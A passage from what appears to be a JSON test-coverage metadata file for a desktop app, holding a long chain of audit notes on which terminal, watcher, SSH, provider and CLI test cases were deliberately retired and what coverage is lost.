alarms listed in knownGaps; prior dated execution and replacement claims do not validate changed source bytes or selectors. Historical prior account (preserved verbatim): Audit2086 (sources2082/2083): Current reduced suites intentionally retire the alarms listed in knownGaps; prior dated execution and replacement claims do not validate changed source bytes or selectors. Historical prior account (preserved verbatim): Audit2076 (sources2073/2074): Intentionally retire these low-value alarms without replacement: src/main/runtime/orca-runtime-tests/terminal-handles-part-02.spec.ts: recovers a moved SSH pane through the tab it now sits in, not the one its lease froze; reports a plain expired orphan; does not report a pane whose only recent lease was superseded; does not report a pane whose only recent lease had its relay id recycled; picks the eligible orphan over a superseded predecessor that matches first; collects the same tabs the per-tab reader reports, in one sweep of the leases; reports no candidate when no lease names any of the worktree tabs. src/main/runtime/orca-runtime-tests/runtime-availability.spec.ts: starts unavailable with no authoritative window; reports the configured Windows terminal shell on status; reports floating workspace availability from settings on status; polls floating tabs with targeted PTY liveness and no repo/provider inventory; hydrates persisted tabs when the store cannot report repos; advertises browser screencast only when a renderer window is available; routes mobile Codex reset consumption through the account mutation coordinator; maps a definite pre-provider rejection into an authoritative current snapshot. Existing unrelated evidenceRuns retain their original scope; unchanged dated receipt objects do not validate changed source bytes or reduced selectors. No fresh gate execution or historical import-closure equivalence is claimed. Frozen current literal-import graph reaches these changed test bytes; unresolved local and computed edges remain debt, and current reachability is not historical execution or equivalent replacement evidence. Historical prior account (preserved verbatim): Audit2056 (sources2054/2055): Intentionally retire these low-value alarms without replacement: src/renderer/src/runtime/files/watching/runtime-file-client-watch.test.ts: delivers remote file changes to listeners for the same worktree. src/main/runtime/orca-runtime.test.ts: ordinary registration cleanup removes only await import('./orca-runtime-tests/mobile-session-tabs-part-14.spec'). src/main/runtime/orca-runtime-tests/terminal-side-effect-facts-part-03.spec.ts: arms the stale-title timer for a seeded working title; arms the Command Code scrape from the noted spawn command; prefers the tracked title over a stale renderer lastTitle in the hydration seed; writes recent output into the current runtime output map; uses a later title handler replacement with the runtime receiver; calls the current injected listener with the runtime receiver; keeps optional reconciliation lazy after its callback is removed. src/main/runtime/orca-runtime-tests/mobile-session-tabs-part-14.spec.ts: lists them, so a paired client can mirror a migrated editor; closes one by retiring it from the host session; keeps an unsaved draft unless the close is forced; shares aggregate work but leaves a replacement pending promise alone; lets a targeted refresh finish while an aggregate refresh waits; refuses a close when the store lacks %s before the guard; keeps a later missing %s on the original caught failure path. Existing unrelated evidenceRuns retain their original scope; unchanged dated receipt objects do not validate changed source bytes or reduced selectors. No fresh gate execution or historical import-closure equivalence is claimed. Exact retired assertionRefs, preserved as historical objects only: {\n \"file\": \"src/renderer/src/runtime/files/watching/runtime-file-client-watch.test.ts\",\n \"assertions\": [\n \"terminal watcher error and setup failure evict the shared entry before retrying callbacks run\",\n \"an old stream end cannot evict the replacement stream, which still delivers to its listener\",\n \"two same-worktree listeners share a synthetic subscription until the final stop unsubscribes and sends unwatch\"\n ]\n } Historical prior account (preserved verbatim): Audit1973: Delete the standalone mocked watcher cleanup suite and its entire sole-file prospective command. Retire the removed file-command transport-abort alias; preserve the independent cancellation suite and final-overflow/error/end cleanup callback, and13 unrelated receipt objects. Whole original changed dated receipts are retired, never narrowed or transferred. This metadata review claims no fresh execution, equivalent replacement, provider/PTY, live remote/mobile, rendered, cross-platform, soak or measured-budget result. Historical prior account (preserved verbatim): Audit1931 (sources1928/1929): Partial runtime files-watch suite retains controlled Windows close-event waiting, shared-client survival, late physical-exit ownership/deadline cleanup and shutdown joining. Its combined Windows close/deadline/late-exit alias remains backed by unchanged callbacks. Retire native-error-close, pre-publication setup ownership and failed-delete rearm aliases; associated delegation, failure forwarding, removal routing and recovery examples are lost. These tests inject watch/subscription seams and do not observe an actual native watcher or physical process. Preserve meaningful remaining selectors/assertions and unchanged dated receipts within their original scope. Reduced selectors have no fresh gate execution evidence in this metadata packet. No equivalent replacement, physical watcher/PTY/provider, live SSH/remote/mobile, rendered, cross-platform, soak or measured-budget result is claimed. Historical prior account (preserved verbatim): Audit1925 (sources1922/1923): Partial runtime watcher-host suite loses mocked option/event/overflow/resubscription forwarding, supplied teardown-error propagation, aborted-signal/no-call and private ten-thousand-waiter-count inventories. Retire the 10,000-caller bound and failed-recovery-subscriber-ending assertion aliases. Keep same-root owner cancellation, pre-ready replacement, held root-close join, stale-generation recovery delivery and initial failed-root ownership mappings backed by retained real-host callbacks with injected subscription/error/physical-exit promises. No actual native watcher, process termination or resource bound was observed. Preserve meaningful remaining selectors/assertions and unchanged dated receipts within their original scope. Reduced selectors have no fresh gate execution evidence in this metadata packet. No equivalent replacement, physical watcher/PTY/provider, live SSH/remote/mobile, rendered, cross-platform, soak or measured-budget result is claimed. Historical prior account (preserved verbatim): Audit1683 removes low-value test projections, mock wiring, private-state assertions, inventories and duplicate examples without equivalent replacement coverage. Per-source reviews record retained public behavior and refusal boundaries with injected/native/remote limits. Affected historical receipts are retired; gates without active current evidence are downgraded. Historical scope before this audit: Audit1645 removes low-value test projections, mock wiring, private-state assertions, inventories and duplicate examples without equivalent replacement coverage. Per-source reviews record retained public behavior and refusal boundaries with injected/native/remote limits. Affected historical receipts are retired; gates without active current evidence are downgraded. Historical scope before this audit: Audit1640 removes low-value IPC, SSH, workspace and transcript-watcher tests without equivalent replacement coverage. Per-source reviews record retained public refusal, cancellation, execution-host and real-filesystem outcomes with injected/native/remote limits. Affected historical receipts are retired; gates without active current evidence are downgraded. Historical scope before this audit: Audit1634 removes low-value IPC, filesystem and runtime projections, argument inventories and duplicate examples without equivalent replacement coverage. Per-source reviews record retained cancellation, ownership, authorization, filesystem and SQLite boundaries with injected/native/remote limits. Affected historical receipts are retired; gates without active current evidence are downgraded. Historical scope before this audit: Audit1627 removes low-value mocked daemon projections, scalar tables and duplicate terminal examples without equivalent replacement coverage. Per-source reviews record retained terminal content preservation, process ownership refusal and recovery boundaries together with injected/native/remote limits. Affected historical receipts are retired; gates without active current evidence are downgraded. Historical scope before this audit: Audit1623 removes low-value mocked daemon projections, scalar tables and duplicate terminal examples without equivalent replacement coverage. Per-source reviews record retained terminal content preservation, process ownership refusal and recovery boundaries together with injected/native/remote limits. Affected historical receipts are retired; gates without active current evidence are downgraded. Historical scope before this audit: Audit1516 removes package-electron-runtime-contract.test.mjs, a copied release-workflow platform and marker matrix. Its workflow wiring alarm is intentionally retired; no actual packaged watcher delivery was exercised and no equivalent replacement is claimed. Unaffected dated execution receipts retain their original scope; changed optional selectors have no fresh full-gate execution result. This audit removes the paired-web stopped-during-outage and late-ready direct-branch examples. The retained pre-ready cancellation, failed-unwatch retry and replay-continuity cases are not equivalent replacements for those ordering alarms. Current web-runtime-client.test.ts assertions below name only its retained pre-ready callback case; replay cases remain in their separate suite. Historical commands and results remain historical. Deterministic tests cover one shared healthy child per runtime process plus at most four bounded fault-quarantine children, native desktop, paired-runtime, and WSL snapshot processes sharing the same eight-physical-child reservation with typed serialized event-driven capacity recovery, including recursive re-wait when crash recovery reclaims an announced slot, one quarantine attempt per watch lifetime, generation-scoped cancellation, bounded termination with removable deadline waiters, replacement-crawl errors that cannot be blessed by a late readiness ack, pre-ready paired-web cancellation registered before an unbounded capacity wait, already-resolved and late physical-exit retry of a rejected paired-web teardown, physical desktop-install and local/SSH PTY teardown, stale-generation rejection, per-child stat bounds, final-overflow RPC delivery, and renderer eviction before terminal callbacks can retry. Destructive local and SSH removal fences both ID-derived and resolved-cwd terminal roots, including sibling-root/cwd combinations with reverse admission rollback, closes descendant relay watches before parent deletion, enumerates authoritative provider/cwd ownership, falls back to daemon spawn cwd before OSC 7, and keeps daemon/relay immediate shutdown pending until native exit or a bounded fail-closed error; a dead relay PID discovered during attach also settles concurrent shutdown before its stale entry is reaped, while Windows runtime watcher deadlines retain one removable physical-close waiter, treat Node's error-close path as positive physical-exit proof, and clear root ownership on late close. The relay policy test maps a standard repository's base, Git common directory, and worktree roots to one healthy supervisor, then proves a shared-child failure recovers those roots in separate quarantine supervisors with overflow and resumed events. Abortable capacity, quarantine, runtime-root, relay, SSH, and relay pre-install setup waits attach one reaction to each shared promise and explicitly remove 10,000 cancelled caller closures while one anchor remains. Built-entry macOS harnesses kill the desktop/runtime and SSH relay watcher children, then require automatic resubscription and later events while the host process and relay PTY survive. SSH bundles the child boundary beside relay.js, requires both artifacts for install completeness, and preserves registration-owned same-root cancellation. The test-value audit corrects the active renderer watch command/file reference to the existing runtime-file-client-watch.test.ts, whose three cases are retained unchanged. They observe synthetic subscription retry/fanout and unsubscribe/unwatch calls, not actual preload/main bookkeeping or physical watcher-process cleanup. The separate read/preview client suite loses forwarding, supplied-error and negative-only examples, retaining binary detection and Unicode SVG decoding. Historical evidence commands/results are unchanged. Test-value audit1293 removes src/main/providers/local-pty/local-pty-provider-session-inventory.test.ts (2 authored cases). Their isolated assertions no longer run; surviving tests are not claimed as equivalent coverage. Fresh execution against the candidate SHA is required. Audit1312 removes low-value imported specs from aggregate test drivers; old whole-driver execution receipts are archived. Retained registrations are unchanged. No equivalent replacement coverage is claimed. Audit1383: src/main/runtime/orca-runtime-tests/worktree-native-chat-setup.spec.ts reduced. Lose command-list/receipt/default/background activation matrices whose provider spawn returns canned IDs. Retained test proves actual tab allocation separation, not terminal startup. No equivalent replacement coverage is claimed. Existing exact unaffected receipts and their platform/provider/budget claims remain scoped to unchanged selectors. Changed optional selectors have no new execution result. Audit1401: src/main/runtime/orca-runtime-tests/mobile-session-tabs-duplicate-pty-repair.spec.ts removed. Loses listing-on-already-repaired-data alarm; it never established runtime repair invocation. src/main/runtime/orca-runtime-tests/mobile-session-tabs-split-agent-tab.spec.ts removed. Loses actual mobile split sibling shell versus recorded-agent resume command alarms; no equivalent coverage asserted. src/main/runtime/orca-runtime-tests/worktree-native-chat-setup.spec.ts removed. Loses separate setup/startup tab result in that manually assembled path. src/main/runtime/orca-runtime.test.ts reduced. Driver registration/import of a whole-deleted selected spec is removed; directly authored cases remain unchanged. No extra authored removal credit. No equivalent replacement coverage is claimed. Existing exact unaffected receipts remain unchanged and apply only to their unchanged selectors. Changed optional selectors have no new execution result. Audit1412: src/main/workspaces/removal/watcher-removal-gate.test.ts reduced. Loses exact removal-error compatibility with renderer predicate under shared message constants. Kept public refusal outcomes do not establish that renderer classification. No equivalent replacement coverage is claimed. Existing exact unaffected receipts remain unchanged and apply only to their unchanged selectors. Changed optional selectors have no new execution result.", + "coverageNotes": "Audit5916 removes the entire local-worktree-creation-part-02.spec import from the retained runtime driver, intentionally losing the mocked exact-name create refusal when a selected PR matches a remote branch. The sole zero-auth terminal-handle registrar for another deleted suite is also retired, with no authored credit. Driver selectors retain only their narrowed import scope. Unchanged dated independent receipts are not equivalent replacement or fresh whole-gate validation. Complete prior account retained verbatim: Audit5901 removes only the mobile-creation-and-orchestration-part-03.spec import from the retained runtime driver. The fragment's missing-handle wait abort and waiter retirement on reload-exit alarms are intentionally lost. This is a conservative import-closure notice: named command filters may exclude those cases. Driver selectors remain; unchanged historical receipts retain their original scope and establish no fresh whole-gate pass or equivalent replacement. Complete prior account retained verbatim: Audit5896 removes only the paired-settings.spec and dispatch-mailbox-delivery.spec import lines from their retained runtime/mailbox drivers. Those imported suites and alarms are intentionally retired, without equivalent replacement. Driver selectors remain; unchanged dated receipts retain original scope and do not establish a new whole-gate import-closure pass. Complete prior account retained verbatim: Audit5896 retires the whole promise-settlement-waiters suite, intentionally losing its Promise ordering/abandon cleanup alarms. Remaining selectors are not equivalent replacement coverage; unrelated dated receipts retain original scope. No fresh whole-gate validation is claimed. Complete prior account retained verbatim: Shared primitives layout deliberately retires the promise waiter actual-timeout/supplied-result/internal waiter-count/timer-count callback. The already-aborted ownership-abandon callback survives at its moved concurrency test path. No equivalent timeout detachment/timer-cleanup alarm or fresh validation of the reduced/moved source is claimed. All13 dated build/resource/fault-harness receipts remain exact and retain only their original scopes. Previous account (verbatim; historical where it concerns changed source): Audit5648/source5643 retires complete suites and their exact active selectors/assertion references. Intentionally lose watcher registry release-before-listen wakeup, one-released-slot reservation ordering, event flush blocked-active/overflow delivery and close-settlement alarms. No equivalent replacement, fresh execution or native/remote/platform evidence is claimed. Complete original selector/assertion fields and historical scopes remain in knownGaps. Prior account (verbatim): Audit5574 removes the entire physical-exit waiter bookkeeping suite and its active selectors/assertion reference. Timeout/retry, fanout/double-exit and immediate-later-wait alarms are intentionally retired without equivalent replacement or fresh process-exit evidence. Unrelated dated receipts retain their exact original scopes. Historical account follows: Audit4368 intentionally drops seven mocked teardown cases: duplicate single-chat rollback, forced stuck-close warning/retirement, post-close-throw exit acceptance, mixed live/unconfirmed wording, exact serial-close budget work, missing runtime selector success and runtime-sweep rejection. Four structured-session and three PTY teardown cases remain; no replacement or fresh native/process/remote proof is claimed. Historical assertion anchors and receipts are not refreshed by this source-only reduction. Audit4362 intentionally deletes the imported stale-waiter retry and manually assembled OSC9999 mobile-republish cases, plus the mocked missing-worktree cleanup suite (4 authored / 5 finite cases in three suites). Lost alarms include repeated unread worker_done pointers, working-to-waiting mobile status publication, missing-worktree filtering, and scoped daemon shutdown with unrelated duplicate identities. No replacement coverage or new platform proof is claimed. Audit4358 intentionally removes six whole mocked daemon subprocess suites and two extra pre-listener replay variants (18 authored / 20 finite cases). Lost alarms include cancel-during-cwd-validation, root agent startup refusal, output/exit before ConPTY publication, fresh/delayed/unavailable foreground confirmation, cache/decision separation, detached/no-tty child evidence and synthetic agent authorization. The retained lifecycle case checks data and exit replay after handle creation, not startup-time publication or alternate listener order. The retained native Windows Git Bash workflow and host cold-restore seed check have separate scopes. No equivalent replacement or fresh gate execution is claimed. Earlier notes and dated receipts retain their original scope. Audit4351 removes the physical-exit timeout/retry and kill-failure/retry local-PTY shutdown cases. The retained shutdown case proves pending ownership until the injected node-pty exit callback only. These two narrow error-path alarms are intentionally lost; retained commands still select the reduced suite. No equivalent replacement or fresh runtime execution is claimed. Earlier notes and dated receipts retain their original scopes. Audit3994 retires two authored callbacks imported by the shared construction test driver: split OSC 9999 carry and rendererless status ownership, plus OpenCode permission text taking priority in status and tui-idle refusal. Remaining imports and selectors keep their scope. No equivalent replacement or fresh gate execution is claimed. Audit 3959 retires the whole session.test.ts driver (27 authored / 33 finite cases): startup/echo filtering, readiness input gates, ownership confirmation, detach authority, and termination retry/exit ordering alarms are intentionally lost. No equivalent replacement or fresh runtime validation is claimed. Audit3788 retires10 authored/11 expanded cases across six changed drivers, including the entire screencast pending-frame-retry and usage-source-cache-streaming suites. Deliberate losses are false-refused last-frame retry/once-only delivery, ordinary stable-pane reattachment, cleared-chat Dispatch completion, terminal-declared chat-caller refusal, at-rest worker liveness projection, nested depth/cap policy, small unsigned6/sealed7 plain-format and verified-bit examples, generic malformed-ISIZE footer refusal examples, and synthetic10k/100k chunk-size/work-count budgets in gzip and general cache I/O. These include real state/disk/RPC outcomes consciously retired for marginal value; retained E2EE-backlog, receipt/custody/uncertain-ack, integrity/migration and staging-cleanup cases are not equivalent replacements. The footer test did not prove early rejection or bounded allocation; staging cleanup did not seed unrelated files. No replacement or fresh native/remote/performance execution is claimed. Earlier raw selectors and dated receipts remain historical. Audit3779 retires17 authored/17 expanded registrations across six changed drivers, including the entire shared-Codex-home and prompt-telemetry suites. Accepted losses are shared-home wrapper noninterference/opt-out preservation, mocked metric count/provenance filters, SSH activity labeling/clearing and handover idle timing, VM ownership/capability/status projections and asleep-worktree refusal, a link-only external conversation replay sample, and two narrow input-credit noninterference/expiry examples. Retain the direct exact-tab/single-use input-credit case. These bounded real disk/state/routing alarms are intentionally retired for marginal value without equivalent replacement or fresh execution claims; earlier receipts remain historical. Audit3772 retires18 authored/27 expanded cases, including whole Codex service opt-out, RPC capability-parser, creator-provenance, short-ciphertext and readiness-null suites. Accepted losses include service ledger/symlink/mode cleanup, user TOML substring preservation, old-hash cleanup, description pass-through, malformed-file/pending-hash examples, coordinator write/probe counts, capability array bounds, positive creator projections, early short-payload refusal and readiness helper null shape. Two redundant Codex exit-cause rows are also retired; Pi shares their direct-idle path only in this empty-output immediate-exit fixture, and future agent-config drift coverage is lost. Real bounded filesystem/parser/runtime alarms are deliberately retired for marginal value; no equivalent replacements or fresh execution are claimed. Earlier receipts retain their historical scope. Audits3754/3755 intentionally remove9 authored/9 finite registrations: the entire one-case usage-source-cache-streaming.test.ts driver and8 cases from the surviving computer-action-validation.test.ts driver. This gate retains an unfiltered root Vitest command; UNIT_INCLUDE admits both source paths. Accepted losses are the real encoder output chunk-size/work-count alarm on repetitive10k/100k ownership payloads through a mocked durable sink, plus CLI diagnostic precedence, fractional window-id rejection, action-call-site window-target exclusivity, plain-text click-count recovery copy, incomplete click/drag targeting, mouse/modifier/direction allowlist samples and inline/stdin text exclusivity. These CLI cases exercise real argument/handler validation before mocked runtime calls; they are deliberately retired for marginal value, not declared tautologies. Retained cache I/O and CLI cases are not equivalent replacements for these alarms. Existing historical raw receipts remain unchanged and do not validate the deleted or reduced drivers. No fresh execution claim is made. Audits3758/3763 intentionally remove9 authored/11 finite registrations from6 changed drivers, including the entire pane-title-notification, window-linear-notices and worktree-card-lifecycle-effects suites. This gate retains an unfiltered root Vitest command admitting these paths. Accepted losses are same-account linked-row success-notice fanout, sidebar-switch channel forwarding, Linear-only notification forwarding/non-terminal-consumer selection/closed-window detach, destroyed-window refusal and first-send-failure suspension through the pane-title adapter, the100-card synthetic focus/poll absence sample, stored-source local folder badge refresh, unobserved-row badge refusal, and immediate reposChanged lineage invalidation. These exercise real owners with controlled ports; they are retired for marginal value, without equivalent replacement claims. The no-badge-work fixture does not seed its title-promised collection-only cache. Preserved historical receipts do not validate deleted or reduced drivers; no fresh execution is claimed. Audit3759 retires the entire one-case Tailwind compiler/scanner smoke. Accept loss of the direct CSS production/test/spec source-exclusion and rescan alarm; no replacement or current execution is claimed. Audit3752 independently approves audit3749: retire five authored/five finite watcher-process registrations, retaining18 raw-exact registrations. Accept loss of healthy shared-pool joint recovery, last-pending-failure idle retirement/respawn, late VITEST fallback release, missing-entry fail-closed selection and independent-supervisor fuse locality alarms. These are real bounded host-policy alarms intentionally retired for low marginal value; no equivalent replacement is asserted. Remaining driver selections exercise controlled FakeChild supervisor lifecycle, cancellation, physical-exit fencing, recovery and fuse behavior. This source review supplies no fresh native/process/platform/remote/SSH execution; historical receipts retain original source and selector scopes. Audits3738/3742/3743/3744 intentionally remove15 authored/21 finite registrations from six surviving drivers, with no equivalent replacement or fresh execution claim. This gate retains an unfiltered root Vitest command. Current UNIT_INCLUDE admits the partial push-service, metadata-dialog and two config/scripts browser drivers:10 authored/16 finite removals. Accepted losses: actual retry30s/60s progression and register bucket/refill wiring, explicit seven-day lease arithmetic (its notification lacked seq/epoch and never reached send), equal-name edit latch/save payload, real image/font/meta-refresh/form/popup browser refusal controls, and broad rich-markdown bridge/command/edit-select smoke. Actual production state, callback routing and browser enforcement run in these cases; these alarms are deliberately retired on marginal value. All drivers and selectors survive. Existing unrelated receipts remain historical evidence for their unchanged selectors, not proof of the reduced cases. Audit3732 removes 2 authored/3 finite registrations from two partial suites: nominal custom/Kimi local naming success and deferred context usage row presentation. Real losses: custom/Kimi successful extraction through conversation-name sanitization and agentLabel composition; separate ordered counted/deferred lists and exact percentage/token formatting. No replacement or equivalent coverage claimed. Retain 11 authored/13 finite raw-exact registrations for bounded naming instruction/refusal/cancellation, menu dismissal focus ownership and hover/composer Escape/timer cleanup. Source-only bounded value review, no runtime/CI/native/remote/mobile/folder workspace or global completion credit. Previous account (preserved verbatim): Audit3733 removes2authored/2finite terminal input checks: fixed custom-cap error/secret fixture and three-emoji cap5refusal whose6UTF16units already trip length fast guard (no UTF8-dependent boundary). Accept exact non-disclosure/oversized-refusal alarm losses; no replacement/equivalence claim. Retain13/13scalar/pending input, OSC state and cron DST/cadence outcomes after bounded material reads. Source-only zero runtime/novelty credit; original historical reasons preserved. Previous account (preserved verbatim): Audit3729 removes1authored/3finite by deleting whole CLI runtime pairing advisory-close suite. Accept losing post-real-close injected EIO preservation of native/script/unreadable pairing, env identity/preservation and exact close/release assertions; no actual failed-close leak or replacement coverage claimed. Two retained URL grammar/identity suites11authored16finite raw unchanged. Bounded source/owner/caller value review, zero novelty/runtime credit; other seven3724deferred closures remain. Historical receipts preserve original limits. Previous account (preserved verbatim): Audit3724 removes3authored/3finite checks by deleting two whole suites: TUI clear burst-size singleton and terminal-file-URL target two-case wrapper suite. Deliberate losses: derived widest burst<64byte alarm, UNC authority+line-column anchor composition, and malformed-percent null refusal. Real production algorithms execute in those tests; no mocked-output tautology, equivalent replacement, actual Claude/file-navigation delivery or universal safety-irrelevance claim. TUI58byte bound and URI examples have low marginal value as standalone suites. Actual1262/1264/1742KEEP superseded explicitly. Remaining14drivers83authored136finite raw unchanged. Bounded source-only review; ten closures deferred, four bounded keep judgments repeated with zero new semantic-frontier credit. No runtime/CI/native/remote/mobile/folder/global completion claim; historical receipts retain original scope. Previous account (preserved verbatim): Audit3723 removes 4 authored/4 finite registrations in two whole suites: keybinding cache freeze/token spellings and host-dependent Orca command name examples. Real losses include returned-object freeze, repeated Mod+P key, Space/PageDown/NumpadSubtract mapping, unknown/empty/prototype-token rejection, and headless Linux versus Windows-server/WSL command choice. No equivalent or replacement coverage claimed. Retain 12 authored/21 finite raw-exact registrations exercising generated scaffold validation, artifact failures, shipped editor/hook/worker/panel tests, actual generated typing compilation, independent CLI root routing and intent-name precedence. Source-only bounded audit; no runtime, CI, native, remote, mobile, folder workspace or global completion credit. Previous account (preserved verbatim): Audit3720 removes17authored/23finite checks: whole main catalog-date adapter2 and shared date-helper7, seven renderer nominal ranking/cap/no-date/composition cases, and one browser registration expanding to seven forced-container/DOM-child boundary cases. Deliberate real losses: community oldest-date UTC forwarding, official/undated omission, date sorting/window/invalid/future/skew/clamp and default/override cap; nominal ranking/cap and combined Featured/Newly-added outputs; real CSS459/460,719/720,1055/1056breakpoint, five-card partial-row and720px two-card first-row alarms. Browser cases really measure rendered geometry but force width/remove DOM children; no fake-pixel or tautology rationale. No replacement/equivalent coverage claimed. Retain14authored/19finite raw-exact registrations across4drivers: adversarial featured category/order/tie and installability, date order/window selection, actual PluginManager failure/escaping/duplicate-card suppression, real browser viewport/odd-count geometry/phone catalog visibility, syntax ingress/depth/include/printability and68dlong-bracket auto-close fill-in. No tests/browser/native/UI/provider/remote/mobile/folder/CI/global execution or completion credit. Previous account (preserved verbatim): Audit3717 removes6 authored/6finite checks in two whole thin-adapter/presentation suites. Deliberate real losses: ordinary recipe repository-URL withholding and provisioned-root credential scrubbing/forwarding; repository label lockstep suffix expansion, host-scoped map identity/collision grouping, Windows crosshost paths and WSL distro suffixes. Actual provision options, label/sort consumers and host/scrubber delegates inspected; no replacement/equivalence claim. Retain40 authored/84finite registrations raw exact in14 drivers with bounded owner/context review. Prior KEEP superseded for removed suites; no runtime/CI/provider/browser/native/mobile/remote/folder/global completion credit. Previous account (preserved verbatim): Audit3714 removes8 authored/39finite checks: whole CLI selector-recovery, task display-text and ANSI grammar suites plus two name joiner/blank tables. Deliberate real losses: selector flag/value/identity and mutation recovery merge/serialization; exact task suffix, transcript fallback, input immutability, cache reuse and edited blocks; independent failed-escape/resumption and OSC/DCS/BEL/ST/C1/nested/unfinished stripping outputs; meaningful-language joiner preservation and invisible/blank-name rejection. These are real bounded alarms, removed as narrow supplied-error examples, helper/token inventories and repeated internal-work fixtures. Prior2936,1195/1196,1214/1215 and1082 KEEP superseded; no replacement or equivalent coverage claimed. Keep9authored/9finite raw-exact registrations in5surviving drivers: screenshot export/failure filesystem behavior, CLI local tree query, event-local reply provenance, vault role-sensitive content and four hostile/UTF16/dangling/tag-name regressions. No native/UI/provider/remote/mobile/folder/runtime/CI/global completion credit. Previous account (preserved verbatim): Audit3711 retires2authored/4finite cases by deleting whole clipboard-image-temp-file signature-to-name inventory (HEIC/TIFF/unrecognised bytes) and workspace-last-active switch-on supplied visit/reason singleton, plus its now-orphan test fixture. This intentionally loses real generated-filename suffix/extensionless alarms and real newer-visit archived7day versus inactive30day filtering/older-visit identity alarms. Filesystem writing and production reason pruning really execute; no equivalent replacement or universal absence of safety relevance is claimed. The clipboard test does not inspect written bytes, native delivery or decode; the visit test supplies candidate/timestamps and does not exercise persisted visit routing or actual removal.20authored/20finite cases remain unchanged across4bounded Git/sidecar/removal drivers. No new runner/test/module evaluation or runtime result; historical notes and receipts remain historical. Previous account (preserved verbatim): Audit3707 removes10 authored/11finite checks: three whole renderer adapter/assembled-stage suites and two native projection cases. Deliberate losses: plugin URL/ref/default-version/local-path and unsafe credential refusal forwarding; real Task hook/store A→B→A late-save/list/count fences, owner disappearance, legacy-host convergence, query/history/eviction and same-ID host history; native child append ordered-ID/replacement and compound fallback/order/optimistic-admission/child-turn/duplicate/shrink/revision alarms. These are real bounded alarms; removal follows thin adapter, manually assembled Task pipeline and repetitive fixture value judgment, with no replacement or equivalent coverage claim. Prior1179/1182,1220/1221 and1885 KEEP superseded as applicable. Keep36 authored/38finite registrations raw exact across13 surviving drivers. No runtime/CI/provider/browser/native/mobile/remote/folder/global completion credit. Previous account (preserved verbatim): Audit3706 removes7authored/7potential cases from3renderer sources: whole usage-label3case and130000-distinct-day usage-overview singleton suites, plus3SSH grouping/ordinary-range examples. Retain11authored/11potential cases across6drivers in this bounded selection; no equivalent replacement or fresh runtime result. Existing bare root-unit commands admit this selection statically; prior command/receipt strings remain historical. Audit3706 intentionally retires first/second-order usage-group label collision alarms; equal50%-weekly bucket versus derived-weekly selection identity and Gemini wk label alarm;130000distinct-day aggregation no-spread-crash/max/intensity alarm; legacy absent-source SSH grouping and ordinary reverse-select/selected-target deselect range alarms. Actual label ambiguity and pathological-input crash are accepted losses. Distinct-day fixture spans~356years; no hard producer/date bound is claimed. Retained filtered-anchor/grouped-order guards do not replace removed deselection/reverse-range/legacy-group coverage. No native SSH, mounted renderer, live provider, remote/folder/mobile end-to-end or current runtime pass was obtained. Previous account (preserved verbatim): Audit3699 removes4 authored/4finite checks, including one whole xterm copy-policy suite and one root/group CLI help case. Deliberate losses: direct copy-chord admission for platform, selection, Kitty mode, defaultPrevented, logical/physical key and key phase; command-group disclosure and group help routing including claude-teams early return without RuntimeClient construction. These are real bounded policy/wiring alarms; no replacement or equivalent coverage claimed. Retain14 authored/19finite raw-exact registrations across6 drivers: unsafe CLI refusal, Claude model event carry and disk reconstruction/OSC-first case, attachment ownership/upload lifetime and mixed BMP file-reference/PNG-chip delivery, actual SQLite authority/admission/mutation, and Electron geometry/hit-testing. No runtime, CI, native-key delivery, external provider, mobile, remote, folder or global completion credit. Previous account (preserved verbatim): Audit3692 removes5 authored/5finite marginal Codex checks: unrelated login URL without notice; ordinary per-account launch resource/config materialization; no-retained-pane skip; preservation of a previously owed full scan through actual preparation and pending-marker update (no actual history scan/settlement); ordinary later-config refresh. Accept these exact branch/wiring alarms as deliberate losses without replacement. Retain32 authored/34finite raw callbacks/registrations/table bytes exact across14suites, including credential/admission refusal, grace/reset readiness, filesystem ownership, commit-dependent queue state, streaming/host trust, path canonicalization and private-state preservation. All14whole suites challenged without keeper quota; no whole deletion warranted on current concrete signals. No runtime/CI/native WSL/remote/mobile/folder/global completion credit Previous account (preserved verbatim): Audit3691 removes two complete runtime-home routing singleton suites (2 authored/2 finite): catalog wrapper mirror login-copy and passive transcript-lookup filesystem noncreation. Exact accepted losses are recorded in knownGaps; no replacement or equivalent coverage claimed. Audit3691: no dedicated alarm remains in the deleted sources for post-launch system login import through prepareHostCodexHomeForReadOnlyAppServer, or for repeated missing-transcript lookups leaving removed Codex account/runtime directories absent and userData entries unchanged. Ownership-marker read avoidance was never independently measured. No real catalog probe, provider, native Windows or crash was validated by those fixtures. Previous account (preserved verbatim): Audit3686 current Claude profile/account review removes5 authored/5 finite cases: whole structured-auth diagnostic-label suite3 and Windows-only command suite1 whose advertised cache alarm is ineffective because cache lifetime is per invocation; remove duplicate setup namespace-link refusal1 at wrapper layer. All5 exact historical KEEP are consciously superseded. Retain49 authored/50 finite unchanged, including filesystem privacy/recovery, route identity and concurrency, built worker/helper, legacy WSL alias compatibility and sign-in handoff. These are deliberate coverage losses without replacement. No runtime/CI/native WSL/macOS Keychain, remote/mobile/folder or global completion credit. Explicit accepted real losses: unknown-account host fallback and mixed-version/WSL-only structured auth diagnostic labels; Windows-only sentinel ENOENT-to-friendly-error translation plus fresh-call successful dispatch smoke; setup catch-to-refused wrapper and no-write outcome for a namespace symlink. The command case does not discriminate removal of its per-invocation noncache guard; it still supplies the error-translation alarm, which is intentionally retired. No replacement/equivalence promise. Previous account (preserved verbatim): Audit3680 removes eleven authored/eleven finite unit cases across four files, including entire launch setup row projection, structured legacy-model metadata, and legacy classifier suites. Accept loss of exact row partition/start selection, Codex supersession/default/unknown and Claude alias/suffix folding examples, other-agent exemption, getter/cache read budgets, same-array per-agent cache isolation, replaced-catalog metadata, and tracked-only model exclusion from structured and PTY legacy inventories. These are real narrow policy/metadata alarms intentionally retired without equivalent replacements. Retain real menu collapse/reopen in dropdown/select, AI picker cancel/accept and stale-effort filing, IME carry/gesture/frame transitions, and typed-flip versus held-dispatch fencing. No production or shared fixtures change. No dead timing entry exists for the three deleted drivers; retained timing keys stay unchanged. Static source-value review only; no project import, test runner, native/app execution or runtime validation established. Earlier receipts retain historical scope. Previous account (preserved verbatim): Audit3678 current-source reassessment removes20 authored/24 finite root-unit cases across7 retained test sources; all10 selected current drivers80 authored/93 finite were read, leaving60 authored/69 finite unchanged. Removed alarms are the in-memory WAL PRAGMA constant, ordinary latest-dispatch/gate-creation inventories, self-reported-failure and explicit-terminal retry policy rows, SSH/unsupported-provider output fallback labels, legacy typing no-op/retain-before-report/manual scheduling rows, exited output status and copied resume-session metadata, incomplete inventory deferral/reset cascade inventory, and nominal release/active-state/corrupt external history/stopped-abandoned outcome/generic close-exception 